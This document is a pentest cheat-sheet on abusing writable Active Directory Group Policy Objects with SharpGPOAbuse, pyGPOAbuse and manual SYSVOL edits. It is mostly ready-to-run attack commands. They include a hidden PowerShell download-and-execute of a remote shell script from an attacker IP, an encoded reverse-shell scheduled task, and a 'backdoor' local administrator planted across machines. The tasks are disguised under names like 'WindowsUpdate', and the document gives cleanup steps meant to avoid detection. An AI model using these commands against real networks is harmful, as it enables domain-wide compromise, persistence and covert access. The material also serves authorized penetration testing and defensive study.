GPO Abuse

Enumerate Group Policy Objects, identify writable GPOs, and deploy payloads through GPO manipulation. Covers SharpGPOAbuse, pyGPOAbuse, manual GPO editing, and cleanup.

Sections GPO Abuse

You have write access to a GPO or have compromised a user who can create/edit Group Policy Objects. GPOs push configuration to every machine and user in their linked scope, making them a powerful escalation and persistence vector. A writable GPO linked to the Domain Controllers OU gives you code execution on every DC.


GPO Enumeration

# NetExec - list GPOs
netexec ldap 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -M gpp_autologin

# ldapsearch - all GPOs
ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "CN=Policies,CN=System,DC=corp,DC=local" "(objectClass=groupPolicyContainer)" \
  displayName cn gPCFileSysPath gPCMachineExtensionNames

# ldapsearch - find which OUs link to which GPOs
ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "DC=corp,DC=local" "(gpLink=*)" dn gpLink

Finding Writable GPOs

A writable GPO means you can modify its files on the SYSVOL share or its LDAP object. Either path lets you inject payloads.

ACL-Based Discovery

# BloodHound CE Cypher - find GPOs your user can write
MATCH p=(u:User {name:'SVC_BACKUP@CORP.LOCAL'})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(g:GPO) RETURN p

# dacledit - check ACL on a specific GPO
impacket-dacledit corp.local/svc_backup:'P@ssw0rd123' -dc-ip 10.10.11.35 -target-dn "CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=corp,DC=local" -action read

SYSVOL Share Permissions

terminal
# Check if you can write to the GPO files directly on SYSVOL
root@localhost:~# smbmap -H 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -r 'SYSVOL/corp.local/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}' --depth 5

# List GPO directory structure
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123' -c 'cd corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}; ls; cd Machine; ls'

GPO Exploitation with SharpGPOAbuse

SharpGPOAbuse automates adding malicious configurations to existing GPOs.

Immediate Scheduled Task (Most Common)

Creates a scheduled task that runs once immediately on all machines where the GPO applies. This is the fastest way to get code execution.

powershell
# Add an immediate scheduled task to a GPO
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "WindowsUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/shell.ps1')" --GPOName "Default Domain Policy"

# Add a task that creates a local admin
PS C:\> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Maintenance" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Server Maintenance Policy"

# Add a user-context task
PS C:\> .\SharpGPOAbuse.exe --AddUserTask --TaskName "ChromeUpdate" --Author "corp\svc_backup" --Command "cmd.exe" --Arguments "/c whoami > C:\Temp\gpo_output.txt" --GPOName "Default Domain Policy"

Startup Script

Runs every time the machine boots. Persistent but slower (requires reboot or gpupdate).

powershell
# Add a startup script
PS C:\> .\SharpGPOAbuse.exe --AddComputerScript --ScriptName "update.bat" --ScriptContents "net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" --GPOName "Default Domain Policy"

Local Group Membership Modification

Add a user to the local Administrators group on every machine the GPO applies to.

powershell
# Add svc_backup to local admins via GPO
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount svc_backup --GPOName "Default Domain Policy"

# Add a domain group to local admins
PS C:\> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "IT Support" --GPOName "Workstation Policy"

GPO Exploitation with pyGPOAbuse (Linux)

terminal
# Add an immediate scheduled task
root@localhost:~# python3 pygpoabuse.py corp.local/svc_backup:'P@ssw0rd123' \
  -gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" \
  -command "cmd.exe /c net user backdoor P@ssw0rd123 /add && net localgroup Administrators backdoor /add" \
  -taskname "WindowsUpdate" \
  -description "Windows Update Service" \
  -f

# Add a scheduled task with a reverse shell
root@localhost:~# python3 pygpoabuse.py corp.local/svc_backup:'P@ssw0rd123' \
  -gpo-id "6AC1786C-016F-11D2-945F-00C04fB984F9" \
  -command "powershell.exe -ep bypass -w hidden -e <base64_encoded_payload>" \
  -taskname "SecurityScan" \
  -description "Scheduled security scan" \
  -f
The GPO ID is the GUID in curly braces. Get it from the GPO enumeration step. The Default Domain Policy GUID is always {31B2F340-016D-11D2-945F-00C04FB984F9}. The Default Domain Controllers Policy is {6AC1786C-016F-11D2-945F-00C04fB984F9}.

Manual GPO Editing

If automated tools are not available, you can edit GPO files directly on the SYSVOL share.

Adding a Scheduled Task Manually

terminal
# Connect to SYSVOL
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123'

# Navigate to the GPO's Machine preferences
smb: \> cd corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Preferences\ScheduledTasks\

# Upload a ScheduledTasks.xml file
smb: \> put ScheduledTasks.xml

ScheduledTasks.xml Template

xml
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="WindowsUpdate" image="0" changed="2026-03-18 00:00:00" uid="{A7B8C9D0-E1F2-3A4B-5C6D-7E8F9A0B1C2D}" userContext="0" removePolicy="0">
    <Properties action="C" name="WindowsUpdate" runAs="NT AUTHORITY\SYSTEM" logonType="S4U">
      <Task version="1.2">
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\SYSTEM</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Actions>
          <Exec>
            <Command>cmd.exe</Command>
            <Arguments>/c net user backdoor P@ssw0rd123 /add &amp;&amp; net localgroup Administrators backdoor /add</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
            <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

Forcing a GPO Update

After modifying a GPO, you need machines to pull the update. By default, GPO refreshes happen every 90 minutes with a random offset of 0-30 minutes. You can force an immediate update if you have access.

powershell
# Force GPO update on the local machine
PS C:\> gpupdate /force

# Force GPO update on a remote machine (requires admin)
PS C:\> Invoke-GPUpdate -Computer ws01 -Force

# Force update via WMI
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c gpupdate /force" -ComputerName ws01

GPO Scope and Targeting

Understanding where a GPO applies is critical. Modifying a GPO linked to the wrong OU does nothing, and modifying one linked to the Domain OU hits everything.

powershell
# Find the OUs a GPO is linked to
PS C:\> Get-DomainGPO -Identity "Server Maintenance Policy" | Select-Object -ExpandProperty distinguishedname
PS C:\> Get-DomainOU | Where-Object {$_.gpLink -like "*{GPO-GUID}*"} | Select-Object Name, DistinguishedName

# Find all machines in the scope of a GPO
PS C:\> Get-DomainOU -GPLink "{6AC1786C-016F-11D2-945F-00C04fB984F9}" | ForEach-Object {
>>   Get-DomainComputer -SearchBase $_.DistinguishedName | Select-Object Name
>> }
GPO Link Target Impact
Domain root Every machine and user in the domain
Domain Controllers OU All DCs
Specific OU (e.g., Servers) Only machines/users in that OU
Site All machines in that AD site
Modifying the Default Domain Policy affects every machine in the domain. This is the highest-impact GPO but also the most likely to be monitored. Use targeted OUs when possible to reduce noise and blast radius.

Cleanup

After exploitation, remove the malicious GPO modifications to avoid detection and operational impact.

powershell
# SharpGPOAbuse cleanup - remove the scheduled task
PS C:\> .\SharpGPOAbuse.exe --RemoveComputerTask --TaskName "WindowsUpdate" --GPOName "Default Domain Policy"

# SharpGPOAbuse cleanup - remove the startup script
PS C:\> .\SharpGPOAbuse.exe --RemoveComputerScript --ScriptName "update.bat" --GPOName "Default Domain Policy"

# SharpGPOAbuse cleanup - remove local admin addition
PS C:\> .\SharpGPOAbuse.exe --RemoveLocalAdmin --UserAccount svc_backup --GPOName "Default Domain Policy"
terminal
# Manual cleanup via SMB - delete the ScheduledTasks.xml
root@localhost:~# smbclient //10.10.11.35/SYSVOL -U 'svc_backup%P@ssw0rd123' -c 'del corp.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'

# Increment the GPO version number to force clients to pick up the change
# The version is stored in GPT.INI on SYSVOL and in the gPCMachineExtensionNames LDAP attribute
After removing the malicious payload, increment the GPO version number in GPT.INI on SYSVOL. If you do not, clients will not pull the updated (cleaned) GPO because they think they already have the latest version.

GPO Attack Workflow

1

Enumerate GPOs

“List all GPOs with PowerView or ldapsearch. Identify which OUs they are linked to and what machines are in scope.”
2

Find Writable GPOs

“Check ACLs on each GPO for GenericAll, GenericWrite, or WriteDACL. Check SYSVOL share permissions. Query BloodHound for GPO write edges.”
3

Choose the Target GPO

“Pick the GPO with the best scope for your objective. Domain Controllers OU for DC access, a server OU for lateral movement, Default Domain Policy for maximum reach.”
4

Deploy Payload

“Use SharpGPOAbuse (immediate scheduled task) or pyGPOAbuse for the fastest results. Alternatively, add a startup script or local admin membership.”
5

Wait or Force Update

“Wait for automatic GPO refresh (up to 120 minutes) or force gpupdate if you have access to the target machines.”
6

Cleanup

“Remove the malicious task/script, increment the GPO version, and force another update to push the clean version.”